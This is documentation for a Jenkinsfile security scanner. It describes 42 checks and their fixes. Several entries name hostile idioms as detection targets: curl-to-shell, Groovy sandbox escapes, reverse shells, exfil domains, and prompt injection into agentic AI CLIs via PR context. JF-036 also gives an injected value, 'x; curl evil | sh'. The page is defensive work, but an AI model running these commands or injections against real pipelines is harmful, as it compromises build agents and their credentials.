Skip to content

Jenkins provider

Parses Jenkinsfile text. Declarative or Scripted Pipeline, without talking to a Jenkins controller. No Groovy interpreter, no plugin install, no API token.

Producer workflow

# --jenkinsfile-path is auto-detected when ./Jenkinsfile exists at cwd.
pipeline_check --pipeline jenkins

# …or pass it explicitly.
pipeline_check --pipeline jenkins --jenkinsfile-path Jenkinsfile

# Scan a directory of multiple Jenkinsfiles (e.g. monorepo with per-app pipelines).
pipeline_check --pipeline jenkins --jenkinsfile-path ci/

The loader recognizes files named Jenkinsfile exactly, plus anything ending in .jenkinsfile or .groovy. It treats every file as text, no Groovy parsing, and applies the same regex-driven heuristics the other workflow providers use for run: blocks. False positives are intentional: better to flag and let the operator suppress than to miss a real injection because the parser couldn't follow a dynamic expression.

What it covers

42 checks · 12 have an autofix patch (--fix).

Check Title Severity Fix
JF-001 Shared library not pinned to a tag or commit HIGH
JF-002 Script step interpolates attacker-controllable env var HIGH
JF-003 Pipeline uses agent any (no executor isolation) MEDIUM
JF-004 AWS auth uses long-lived access keys via withCredentials MEDIUM 🔧 fix
JF-005 Deploy stage missing manual input approval MEDIUM
JF-006 Artifacts not signed MEDIUM
JF-007 SBOM not produced MEDIUM
JF-008 Credential-shaped literal in pipeline body CRITICAL 🔧 fix
JF-009 Agent docker image not pinned to sha256 digest HIGH
JF-010 Long-lived AWS keys exposed via environment {} block HIGH 🔧 fix
JF-011 Pipeline has no buildDiscarder retention policy LOW 🔧 fix
JF-012 load step pulls Groovy from disk without integrity pin MEDIUM
JF-013 copyArtifacts ingests another job's output unverified CRITICAL
JF-014 Agent label missing ephemeral marker MEDIUM
JF-015 Pipeline has no timeout wrapper, unbounded build MEDIUM 🔧 fix
JF-016 Remote script piped to shell interpreter HIGH 🔧 fix
JF-017 Docker run with insecure flags (privileged/host mount) CRITICAL 🔧 fix
JF-018 Package install from insecure source HIGH 🔧 fix
JF-019 Groovy sandbox escape pattern detected CRITICAL
JF-020 No vulnerability scanning step MEDIUM
JF-021 Package install without lockfile enforcement MEDIUM 🔧 fix
JF-022 Dependency update command bypasses lockfile pins MEDIUM 🔧 fix
JF-023 TLS / certificate verification bypass HIGH 🔧 fix
JF-024 input approval step missing submitter restriction MEDIUM
JF-025 Kubernetes agent pod template runs privileged or mounts hostPath HIGH
JF-026 build job: trigger ignores downstream failure MEDIUM
JF-027 archiveArtifacts does not record a fingerprint LOW
JF-028 No SLSA provenance attestation produced MEDIUM
JF-029 Jenkinsfile contains indicators of malicious activity CRITICAL
JF-030 Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH
JF-031 Package install bypasses registry integrity (git / path / tarball source) MEDIUM
JF-032 Agent label interpolates attacker-controllable value HIGH 🔧 fix
JF-033 withCredentials secret leaked via Groovy ${...} interpolation in sh step HIGH
JF-034 Pipeline declares a password() build parameter HIGH
JF-035 httpRequest step disables SSL verification HIGH
JF-036 Script step interpolates a build parameter (params.*) HIGH
JF-037 Untrusted PR/build context reaches an agentic AI CLI (prompt injection) HIGH
JF-038 Agentic CLI output lands without human review HIGH
JF-039 ML model loaded with trust_remote_code (code execution) HIGH
JF-040 AI model pulled without a pinned revision MEDIUM
JF-041 Unsafe deserialization of a fetched artifact (pickle RCE) HIGH
JF-042 Secret-named variable echoed / printed in a build step HIGH

JF-001: Shared library not pinned to a tag or commit

HIGH CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-VERIFY-DEPS CWE-829

@main, @master, @develop, no-@ref, and any non-semver / non-SHA ref are floating. Whoever controls the upstream library can ship code into your build by pushing to that branch.

Recommended action

Pin every @Library('name@<ref>') to a release tag (e.g. @v1.4.2) or a 40-char commit SHA. Configure the library in Jenkins with 'Allow default version to be overridden' disabled so a pipeline can't escape the pin.

JF-002: Script step interpolates attacker-controllable env var

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-78

$BRANCH_NAME / $GIT_BRANCH / $TAG_NAME / $CHANGE_* are populated from SCM event metadata the attacker controls. Single-quoted Groovy strings don't interpolate so they're safe; only double-quoted / triple-double-quoted bodies are flagged.

Recommended action

Switch the affected sh/bat/powershell step to a single-quoted string (Groovy doesn't interpolate single quotes), and pass values through a quoted shell variable (sh 'echo "$BRANCH"' after withEnv([...])).

JF-003: Pipeline uses agent any (no executor isolation)

MEDIUM CICD-SEC-5 ESF-D-BUILD-ENV ESF-D-PRIV-BUILD CWE-250

agent any is the broadest possible executor scope, any registered executor can be picked, including ones with broader IAM / file-system access than this build needs. A compromise of one job blast-radiates across every pool.

Recommended action

Replace agent any with agent { label 'build-pool' } (targeting a labeled pool) or agent { docker { image '...' } } (ephemeral container). Reserve broad-access agents for jobs that genuinely need them.

JF-004: AWS auth uses long-lived access keys via withCredentials

MEDIUM 🔧 autofix CICD-SEC-6 ESF-D-TOKEN-HYGIENE CWE-522

Fires when BOTH a credentialsId containing aws is referenced AND an AWS key variable name appears (requires both so an OIDC role binding doesn't false-positive). Also fires when withAWS(credentials: '…') is used, the safe alternative is withAWS(role: '…').

Recommended action

Switch to the AWS plugin's IAM-role / OIDC binding (e.g. withAWS(role: 'arn:aws:iam::…:role/jenkins')) so each build assumes a short-lived role. Remove the static AWS_ACCESS_KEY_ID secret from the Jenkins credentials store once the role is in place.

JF-005: Deploy stage missing manual input approval

MEDIUM CICD-SEC-1 ESF-C-APPROVAL CWE-284

A stage named deploy / release / publish / promote should either use the declarative input { ... } directive or call input message: ... somewhere in its body. Without one, any push that triggers the pipeline ships to the target with no human review.

Recommended action

Add an input step to every deploy-like stage (e.g. input message: 'Promote to prod?', submitter: 'releasers'). Combine with a Jenkins folder-scoped permission so only release engineers see the prompt.

JF-006: Artifacts not signed

MEDIUM CICD-SEC-9 ESF-D-SIGN-ARTIFACTS CWE-345

Passes when cosign / sigstore / slsa-* / notation-sign appears in executable Jenkinsfile text (comments are stripped before matching).

Recommended action

Add a sh 'cosign sign --yes …' step (the cosign-installer Jenkins plugin handles binary install). Publish the signature next to the artifact and verify it at deploy.

JF-007: SBOM not produced

MEDIUM CICD-SEC-9 ESF-D-SBOM CWE-1104

Passes when a direct SBOM tool token (CycloneDX, syft, anchore, spdx-sbom-generator, sbom-tool) appears in executable code, or when Trivy is paired with sbom / cyclonedx in the same file. Comments are stripped before matching.

Recommended action

Add a sh 'syft . -o cyclonedx-json > sbom.json' step (or Trivy with --format cyclonedx) and archive the result with archiveArtifacts.

JF-008: Credential-shaped literal in pipeline body

CRITICAL 🔧 autofix CICD-SEC-6 ESF-D-SECRETS CWE-798

Scans the raw Jenkinsfile text against the cross-provider credential-pattern catalog. Values inside environment {} blocks also run through the keyed-hex and entropy passes (which need YAML-key context to fire). Secrets committed to Groovy source are visible in every fork and every build log.

Known false-positive modes

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, vendor example keys). Well-known vendor example tokens (AKIAIOSFODNN7EXAMPLE, Stripe sk_test_ docs keys) are suppressed via the VENDOR_EXAMPLE_TOKENS allowlist. Defaults to LOW confidence.

Recommended action

Rotate the exposed credential. Move the value to a Jenkins credential and reference it via withCredentials([string(credentialsId: '…', variable: '…')]).

JF-009: Agent docker image not pinned to sha256 digest

HIGH CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-IMMUTABLE CWE-829

agent { docker { image 'name:tag' } } is not digest-pinned, so a repointed registry tag silently swaps the executor under every subsequent build. Unlike the YAML providers, Jenkins has no separate tag-pinning check, so this one fires at HIGH regardless of whether the tag is floating or immutable.

Recommended action

Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and reference it via image '<repo>@sha256:<digest>'. Automate refreshes with Renovate.

JF-010: Long-lived AWS keys exposed via environment {} block

HIGH 🔧 autofix CICD-SEC-6 ESF-D-SECRETS ESF-D-TOKEN-HYGIENE CWE-522

Flags environment { AWS_ACCESS_KEY_ID = '...' } when the value is a literal or plain variable reference. Skips credentials('id') helpers and ${env.X} that resolve at runtime. Matches both multiline and inline environment { ... } forms.

Recommended action

Replace the literal with a credentials-store reference: AWS_ACCESS_KEY_ID = credentials('aws-prod-key'). Better: switch to the AWS plugin's role binding (withAWS(role: 'arn:…')) so the build assumes a short-lived role per run.

JF-011: Pipeline has no buildDiscarder retention policy

LOW 🔧 autofix CICD-SEC-10 ESF-D-BUILD-LOGS ESF-C-AUDIT CWE-532

Without a retention policy, build logs accumulate indefinitely; a secret that once leaked into a log stays visible to anyone who can read jobs. Recognizes declarative options { buildDiscarder(...) }, scripted properties([buildDiscarder(...)]), and bare logRotator(...).

Recommended action

Add options { buildDiscarder(logRotator(numToKeepStr: '30', daysToKeepStr: '90')) } (declarative) or the properties([buildDiscarder(...)]) equivalent in scripted pipelines. Tune the numbers to your retention policy.

JF-012: load step pulls Groovy from disk without integrity pin

MEDIUM CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-VERIFY-DEPS CWE-829

load 'foo.groovy' evaluates whatever exists at the path when the build runs, there's no integrity check, so a workspace mutation can swap the loaded code between runs.

Recommended action

Move shared Groovy into a Jenkins shared library (@Library('name@<sha>')). Those are version-pinned and JF-001 audits them. Reserve load for one-off development experiments.

JF-013: copyArtifacts ingests another job's output unverified

CRITICAL CICD-SEC-4 ESF-D-INJECTION ESF-S-VERIFY-DEPS CWE-494

Recognizes both copyArtifacts(projectName: ...) and the older step([$class: 'CopyArtifact', ...]) form. If the upstream job accepts multibranch or PR builds, the artifact may have been produced by attacker-controlled code.

Recommended action

Add a verification step before consuming the artifact: sh 'sha256sum -c manifest.sha256' against a manifest the producer signed, or cosign verify over the artifact directly. Restrict the upstream job to non-PR builds via branch protection if verification isn't feasible.

JF-014: Agent label missing ephemeral marker

MEDIUM CICD-SEC-7 ESF-D-BUILD-ENV ESF-D-PRIV-BUILD CWE-269

Static Jenkins agents that persist between builds leak workspace files and process state. The check looks for an ephemeral substring in agent { label '...' } blocks.

Known false-positive modes

  • The check looks for the literal substring ephemeral in the agent label. Teams that use a different convention (temp, runner-pool, org-specific ARC labels) trip the rule even when their runners are auto-scaled and ephemeral in fact. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH.

Recommended action

Register Jenkins agents with ephemeral lifecycle (e.g. Kubernetes pod templates or EC2 Fleet plugin) and include ephemeral in the label string so the pipeline declares its expectation.

JF-015: Pipeline has no timeout wrapper, unbounded build

MEDIUM 🔧 autofix CICD-SEC-7 ESF-D-BUILD-TIMEOUT CWE-400

Without a timeout() wrapper, the pipeline runs until the Jenkins controller's global timeout (or indefinitely if none is configured). Explicit timeouts cap blast radius and the window during which a compromised step has workspace access.

Recommended action

Wrap the pipeline body or individual stages with timeout(time: N, unit: 'MINUTES') { … }. Without an explicit timeout, the build runs until the Jenkins global default (or indefinitely).

JF-016: Remote script piped to shell interpreter

HIGH 🔧 autofix CICD-SEC-3 ESF-S-VERIFY-DEPS CWE-494

Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a Jenkinsfile. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the build agent.

Known false-positive modes

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Recommended action

Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

JF-017: Docker run with insecure flags (privileged/host mount)

CRITICAL 🔧 autofix CICD-SEC-7 ESF-D-BUILD-ENV CWE-250

Flags like --privileged, --cap-add, --net=host, or host-root volume mounts (-v /:/) in a Jenkinsfile give the container full access to the build agent, enabling container escape and lateral movement.

Recommended action

Remove --privileged and --cap-add flags. Use minimal volume mounts. Prefer rootless containers.

JF-018: Package install from insecure source

HIGH 🔧 autofix CICD-SEC-3 ESF-S-VERIFY-DEPS CWE-494

Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a Jenkinsfile. These patterns allow man-in-the-middle injection of malicious packages.

Recommended action

Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

JF-019: Groovy sandbox escape pattern detected

CRITICAL CICD-SEC-4 ESF-D-INJECTION CWE-250

Detects Groovy patterns that bypass the Jenkins script security sandbox: Runtime.getRuntime(), Class.forName(), .classLoader, ProcessBuilder, and @Grab. These give the pipeline (or an attacker who controls its source) unrestricted access to the Jenkins controller JVM, full RCE.

Recommended action

Remove direct Runtime/ClassLoader calls. Use Jenkins pipeline steps instead. Avoid @Grab for untrusted dependencies.

JF-020: No vulnerability scanning step

MEDIUM CICD-SEC-3 ESF-S-VULN-MGMT CWE-1104

Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognizes trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck. Comments are stripped before matching.

Recommended action

Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

JF-021: Package install without lockfile enforcement

MEDIUM 🔧 autofix CICD-SEC-3 ESF-S-PIN-DEPS CWE-829

Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommended action

Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

JF-022: Dependency update command bypasses lockfile pins

MEDIUM 🔧 autofix CICD-SEC-3 ESF-S-PIN-DEPS CWE-829

Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Known false-positive modes

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Recommended action

Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR pipeline (e.g. Dependabot, Renovate).

JF-023: TLS / certificate verification bypass

HIGH 🔧 autofix CICD-SEC-3 ESF-S-VERIFY-DEPS CWE-295

Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommended action

Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

JF-024: input approval step missing submitter restriction

MEDIUM CICD-SEC-1 ESF-C-APPROVAL CWE-284

JF-005 already flags deploy stages with no input step. This rule catches the subtler case: the gate exists, but it doesn't actually restrict approvers. submitter accepts a comma-separated list of Jenkins usernames and group names; scope it to the smallest release-eligible pool.

Recommended action

Add a submitter: 'releasers,sre' (or a single role) argument to every input step in a deploy-like stage. Without it, any user with the Jenkins job Build permission can approve a production promotion, the approval gate becomes advisory.

JF-025: Kubernetes agent pod template runs privileged or mounts hostPath

HIGH CICD-SEC-7 ESF-D-BUILD-ENV CWE-250 CWE-276

JF-017 flags inline docker run commands. This rule targets the other privileged-mode entry point: Jenkins' Kubernetes plugin lets pipelines declare agent { kubernetes { yaml '''...''' } }. A pod running with privileged: true or mounting hostPath: / gives the build container the same blast radius, container escape, node-credential theft, cross-tenant contamination on a shared cluster.

Recommended action

Remove privileged: true from the embedded pod YAML, drop hostPath/hostNetwork/hostPID/hostIPC entries, and add a securityContext with runAsNonRoot: true and a readOnlyRootFilesystem. If Docker-in-Docker is genuinely required, use a rootless daemon (e.g. sysbox) or run the build on a dedicated privileged pool with stricter branch protection.

JF-026: build job: trigger ignores downstream failure

MEDIUM CICD-SEC-4 ESF-C-APPROVAL CWE-754

The Jenkins Pipeline plugin defaults wait to true and propagate to true, but either can be flipped per call. wait: false returns immediately; propagate: false continues even when the downstream job fails or is aborted. Both patterns sever the flow-control link between the upstream approval gate and the work the downstream job is about to do.

Recommended action

Remove wait: false and propagate: false from every build job: step, or replace them with an explicit currentBuild.result = build(...).result check. A fire-and-forget trigger can silently ship broken artifacts because the upstream job reports success regardless of what the downstream job actually did.

JF-027: archiveArtifacts does not record a fingerprint

LOW CICD-SEC-9 ESF-D-TAMPER CWE-345

Fingerprinting hashes the artifact on archive so Jenkins can trace its flow between jobs, the same mechanism JF-013 relies on for verification-step pairing. It's cheap and retroactive: enabling it on the producer job unlocks a build-traceability audit for every downstream consumer.

Recommended action

Set fingerprint: true on every archiveArtifacts call (or use archiveArtifacts artifacts: '...', fingerprint: true). Without it, Jenkins can't link the artifact to the build that produced it; copyArtifacts consumers downstream then have no provenance to verify against.

JF-028: No SLSA provenance attestation produced

MEDIUM CICD-SEC-9 ESF-S-PROVENANCE CWE-345

cosign sign signs the artifact bytes. cosign attest signs an in-toto statement describing how the build ran, builder, source commit, input parameters. SLSA L3 verifiers check the latter so consumers can enforce policy on where and how artifacts were produced.

Recommended action

Add a sh 'cosign attest --predicate=provenance.intoto.jsonl …' step after the build, or integrate the TestifySec witness run attestor. JF-006 covers signing; this rule covers the build-provenance statement SLSA Build L3 requires.

JF-029: Jenkinsfile contains indicators of malicious activity

CRITICAL CICD-SEC-4 CICD-SEC-7 ESF-D-INJECTION ESF-S-VERIFY-DEPS CWE-506 CWE-913

Distinct from JF-016 (curl pipe) and JF-019 (Groovy sandbox escape). Those flag risky defaults; this flags concrete evidence, reverse shells, base64-decoded execution, miner binaries, exfil channels, credential-dump pipes, shell-history erasure. Runs on the comment-stripped Groovy text so // cosign verify … // webhook.site in a legitimate annotation doesn't false-positive.

Known false-positive modes

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Recommended action

Treat as a potential compromise. Identify the commit that introduced the matching stage(s), rotate Jenkins credentials the job can reach, review controller/agent audit logs for outbound traffic to the matched hosts, and re-image the agent pool if the compromise may have persisted.

JF-030: Dangerous shell idiom (eval, sh -c variable, backtick exec)

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-95

Complements JF-002 (script injection from untrusted build parameters). Fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the input source is currently trusted.

Known false-positive modes

  • sh 'eval "$(ssh-agent -s)"' and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Recommended action

Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate any value feeding a dynamic command at the boundary, or pass arguments as a list to a real sh step so the shell is not re-invoked.

JF-031: Package install bypasses registry integrity (git / path / tarball source)

MEDIUM CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-VERIFY-DEPS CWE-829

Complements JF-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs bypass the registry integrity controls the lockfile relies on.

Recommended action

Pin git dependencies to a commit SHA. Publish private packages to an internal registry (Artifactory, Nexus) instead of installing from a filesystem path or tarball URL.

JF-032: Agent label interpolates attacker-controllable value

HIGH 🔧 autofix CICD-SEC-7 ESF-D-BUILD-ENV ESF-D-PRIV-BUILD CWE-345

JF-014 catches agent labels that aren't ephemeral; this rule catches the upstream targeting choice. When label inside an agent { ... } block is computed from a build parameter or an SCM-controlled environment variable, whoever queues the build (or pushes the branch / opens the PR) picks which agent the job lands on, including any privileged label the controller exposes. Two attacker surfaces are flagged: untrusted env.* refs (BRANCH_NAME, CHANGE_BRANCH, TAG_NAME, …) and params.X references (caller-controlled at trigger time). The rule walks all four agent { ... } shapes, direct label, the node { label … } form, and docker { label … } / dockerfile { label … }, via brace-balanced scan so nested DSL blocks parse correctly.

Known false-positive modes

  • Author-controlled environment refs like ${env.JOB_NAME} or ${env.BUILD_NUMBER} are intentionally not flagged, those values come from Jenkins itself, not from the triggerer. Pipelines that intentionally select agents via a vetted parameter and gate the assignment behind a Groovy validator should suppress with .pipelinecheckignore and a rationale rather than disable the rule everywhere.

Recommended action

Hard-code agent labels to a specific pool name. If label selection has to be parameterized, validate the candidate value against an explicit allowlist before the build starts (Groovy if guard at the top of the pipeline), and never inline ${params.X} / ${env.BRANCH_NAME} / ${env.CHANGE_BRANCH} directly into label "...".

JF-033: withCredentials secret leaked via Groovy ${...} interpolation in sh step

HIGH CICD-SEC-6 ESF-D-SECRETS CWE-532

withCredentials([string(credentialsId: 'X', variable: 'TOKEN')]) exposes the secret as a shell environment variable for the duration of the block. The rule fires when a sh / bat / powershell step inside that block uses a Groovy interpolation (${TOKEN} or $TOKEN in a double-quoted / triple-double-quoted string) to reference the binding. Groovy substitutes the literal value before handing the resulting string to the shell, so Jenkins' secret-masking wrapper, which only sees the shell-level $TOKEN token, cannot redact the value in trace output. Single-quoted bodies (sh '... $TOKEN') leave the variable for the shell to resolve at run time, which is the safe pattern.

Known false-positive modes

  • Bindings whose variable name doesn't look credential-ish (e.g. variable: 'COUNT') are still flagged: any value bound through withCredentials is a credential by definition.

Recommended action

Inside a withCredentials([...]) block, reference each bound variable through the shell (single-quoted Groovy string), not through Groovy interpolation. Write sh 'curl -H "Authorization: Bearer $TOKEN" ...' instead of sh "curl -H 'Authorization: Bearer ${TOKEN}' ...". The single-quoted form keeps Jenkins' secret-masking layer in the loop, the double-quoted Groovy form bakes the literal value into the command string before the masker ever sees it, so set -x (Jenkins' default for sh) prints the credential to the build log.

JF-034: Pipeline declares a password() build parameter

HIGH CICD-SEC-6 ESF-D-SECRETS CWE-256

Jenkins' password() parameter persists the supplied value into builds/<n>/build.xml as an encrypted Secret, the same encryption the Credentials Provider uses. The encryption is keyed off the controller's master key at $JENKINS_HOME/secrets/master.key, so anyone who captures both the build XML and the master key (a filesystem backup, an admin running thinBackup, a compromised agent that can read controller state) recovers every password every operator has ever submitted. The build's parameters page renders the value as ******** for Job/Read users, but Job/Configure (or higher) can recover the encrypted string from config.xml and decrypt it. The substantive operational gap vs withCredentials is log-masking: a sh "deploy ${params.API_TOKEN}" step leaks the value to the build log because the Credentials Binding plugin's masker is what intercepts that flow, and the masker only fires for withCredentials bindings, not for params.* references. password() should be treated as a deprecated anti-pattern.

Known false-positive modes

  • A pipeline that intentionally uses password() for a non-secret value (e.g. a one-off prompt for a confirmation token) is still flagged, the parameter type itself is the anti-pattern. Suppress via .pipelinecheckignore with a rationale rather than disabling the rule.

Recommended action

Replace password(name: 'X') with a credential binding. Store the secret in Jenkins' Credentials Provider and pull it in with withCredentials([string(credentialsId: 'X', variable: 'X')]). The bound variable integrates with Jenkins' log-masking, the credential definition is decoupled from build invocation (so operators don't retype the value on every trigger), and Job/Configure on the build no longer exposes the value through build.xml.

JF-035: httpRequest step disables SSL verification

HIGH CICD-SEC-3 ESF-S-VERIFY-DEPS CWE-295

The HTTP Request plugin's ignoreSslErrors: true flag tells the step to accept any TLS certificate (including self-signed, expired, hostname-mismatched, and attacker-presented) when calling the configured URL. Pipelines that hit internal services with broken trust chains frequently reach for it as a shortcut; the runtime consequence is that whatever the response body feeds into (readJSON, writeFile, an arg to a subsequent deploy step) is now attacker-controllable for anyone who can MITM the controller-to-service connection. Complements JF-023 (which catches the broader catalog of curl/wget/git TLS bypasses) — JF-035 is specific to the httpRequest plugin step Jenkins pipelines commonly use for API calls.

Recommended action

Drop ignoreSslErrors: true from the httpRequest step. Fix certificate trust at the source: install the internal CA into the controller's truststore, or use a properly-issued certificate on the upstream service. Disabling verification on a CI runner lets any actor on the network path between Jenkins and the target inject responses, including payloads that flow into downstream stages.

JF-036: Script step interpolates a build parameter (params.*)

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-78

A Jenkins build parameter is set by whoever queues the run: anyone with Build permission, an upstream build job: passing parameters:, or a webhook / remote trigger. A string parameter is free-form text. When Groovy interpolates it into a double-quoted shell body (sh "deploy ${params.TARGET}") the value is substituted before the shell parses the line, so params.TARGET = 'x; curl evil | sh' runs the injected command on the agent in the build's full credential context. This is the Jenkins peer of the GHA ${{ inputs.X }} and ADO ${{ parameters.X }} injection rules. Only double-quoted / triple-double-quoted bodies are flagged; single-quoted Groovy strings (sh '... $params ...') don't interpolate and are safe. JF-002 covers the SCM-env-var ($BRANCH_NAME) variant and JF-033 the withCredentials secret-leak variant; this rule is specifically the build-parameter source.

Known false-positive modes

  • A parameter consumed purely as data inside a double-quoted body (sh "echo ${params.NOTE}") is still flagged: the double quotes let $(...) / backticks in the value execute, so it is genuinely injectable, not a false positive.

Recommended action

Don't splice ${params.X} into a double-quoted sh / bat / powershell body. Single-quote the Groovy string so it isn't interpolated, and let the shell read the value from the environment: withEnv(["TAG=${params.TAG}"]) { sh 'build --tag "$TAG"' }. The single-quoted form passes the value as one literal argument instead of letting it break out of the command.

JF-037: Untrusted PR/build context reaches an agentic AI CLI (prompt injection)

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-94 CWE-77

The AI analog of JF-002 (script injection). Fires when a sh / bat / powershell step invokes an agentic CLI (claude / gemini / cursor-agent / aider / openhands / goose / q chat) AND attacker-controllable Jenkins context reaches it: an SCM-event env var ($BRANCH_NAME / $CHANGE_TITLE / $CHANGE_BRANCH / $TAG_NAME / $GIT_*) or a ${params.X} build parameter. Unlike JF-002, both single- and double-quoted step bodies are flagged: an LLM ingests the value as prompt text regardless of Groovy quoting, so the JF-002 mitigation (single-quote the body) does not apply, which is why this is a separate rule.

Recommended action

Do not place attacker-controllable context (a PR's branch / tag / title, $CHANGE_*, or a ${params.X} build parameter) in an agentic CLI's prompt. Groovy single-quoting does NOT sanitize a prompt the way it does a shell command, the model still reads the value. If the agent must see PR content, run it in a stage with no credentials bound and no tool / shell access, and treat its output as untrusted.

JF-038: Agentic CLI output lands without human review

HIGH CICD-SEC-1 ESF-C-APPROVAL CWE-94 CWE-693

Fires when one Jenkinsfile both invokes an agentic CLI (claude / gemini / cursor-agent / aider / openhands / goose / q chat) in a sh / bat / powershell step and, in the same pipeline, lands the result with a git push (the Jenkins idiom for committing straight to a branch, since there are no uses: actions). Coupling is pipeline-level because the stages of one pipeline share a checkout.

Does NOT fire when the agent only opens a pull request for review, nor on a push step that does not run an agent (ordinary formatting / generated-file jobs). The agent-plus-push coupling is the signal. A git push --dry-run is ignored.

Recommended action

Don't let an agentic CLI's output reach a branch without a human review gate. Have the agent open a normal pull request (no auto-merge) so a person reviews the diff before it lands, and don't pair the agent with a git push straight to a branch in the same pipeline. If the agent's prompt can be influenced by untrusted input (a PR title / branch, a build parameter), treat the committed result as attacker-controlled.

JF-039: ML model loaded with trust_remote_code (code execution)

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-494 CWE-829

Fires on trust_remote_code=True / --trust-remote-code in a sh / bat / powershell step body (the shared model_trust detector, with GHA-120 / GL-045 / BB-035 / ADO-034 / HARNESS-010). Groovy quoting does not defang it: the loader runs the model repo's own Python regardless of how the command string is quoted, so both single- and double-quoted step bodies are flagged. The transformers / huggingface_hub loader executes that code at load time, so an untrusted or unpinned model is arbitrary code execution on the agent with the build's credentials in scope.

Recommended action

Load models with trust_remote_code=False (the library default). If a model genuinely needs custom code, vet it and pin an exact revision (a commit SHA, not a tag or branch), run the load in a stage with no production credentials bound, and prefer safetensors weights over pickle.

JF-040: AI model pulled without a pinned revision

MEDIUM CICD-SEC-3 ESF-S-PIN-DEPS ESF-S-VERIFY-DEPS CWE-494 CWE-829

Fires on a sh / bat / powershell step that fetches a model by a mutable registry reference and supplies no revision pin (the shared model_ref detector, with GHA-121 / GL-046 / BB-038 / ADO-037 / HARNESS-012). Detected fetch forms: from_pretrained("org/model"), hf_hub_download / snapshot_download with a org/model repo id, and huggingface-cli download org/model.

Does NOT fire when a revision is pinned in the same step (revision='<sha>' / --revision <sha>), when the reference is a local path or a variable interpolation (the value can't be judged statically), or on a bare single-segment canonical hub name (bert-base-uncased) with no org/ namespace, since those are first-party and the org-scoped third-party models are the higher-risk surface.

Known false-positive modes

  • A team that re-pulls its own org's model on every run may treat the latest revision as intentional. The right fix is still to pin the revision (it makes an upstream compromise visible); if a rolling pull is genuinely wanted, suppress on the specific step with a rationale naming the model and who controls it.

Recommended action

Pin the model to an immutable revision. Pass an exact commit revision= to from_pretrained / hf_hub_download / snapshot_download (a 40-char commit SHA, not a branch or a tag, both of which the owner can move), or --revision <sha> to huggingface-cli download. A pinned revision is what makes a swapped-weights or swapped-loader-code attack show up as a diff in your repo instead of silently landing on the next build. Pair with trust_remote_code=False (JF-039) and prefer safetensors weights over pickle.

JF-041: Unsafe deserialization of a fetched artifact (pickle RCE)

HIGH CICD-SEC-4 ESF-D-INJECTION CWE-502 CWE-494 CWE-829

Reuses the shared unsafe_deser detector (with GHA-122 / GL-047 / BB-037 / ADO-036 / HARNESS-011) over each sh / bat / powershell step body. Fires in two shapes: (A) an explicit unsafe opt-in (weights_only=False on a load, or allow_pickle=True on numpy.load), always; and (B) a remote fetch (curl / wget / hf_hub_download / snapshot_download / huggingface-cli download / requests.get / urlretrieve) together with a pickle-backed loader (torch.load / pickle.load(s) / joblib.load) in the same step, with no safe path (weights_only=True / safetensors). A bare local unpickle with no fetch does not fire.

Recommended action

